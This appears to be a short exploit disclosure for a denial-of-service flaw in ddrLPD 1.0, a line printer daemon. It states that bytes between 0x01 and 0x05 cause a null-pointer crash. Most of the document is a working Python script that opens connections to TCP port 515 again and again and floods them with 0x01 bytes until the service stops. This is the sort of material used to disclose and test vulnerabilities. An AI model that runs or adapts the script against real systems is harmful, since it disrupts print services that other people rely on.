ddrLPD 1.0 Denial Of Service

Sending packets composed of bytes between 1 and 5 (inclusive) causes ddrLPD 1.0 to crash with the exception below.

The instruction at 0x50431A referenced memory at 0x0. The memory could not be read (0x0050431A -> 00000000)

ddrLPD10-DoS.py

import socket
host ='localhost'

try:
    while 1:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, 515))
        s.settimeout(1.0)
        
        print 'connected',

        try:
            while 1:        
                s.send('\x01'*8192)
                print '.',
        except Exception:
            print '\nconnection closed'
            pass
        
except Exception:
    print 'couldn\'t connect'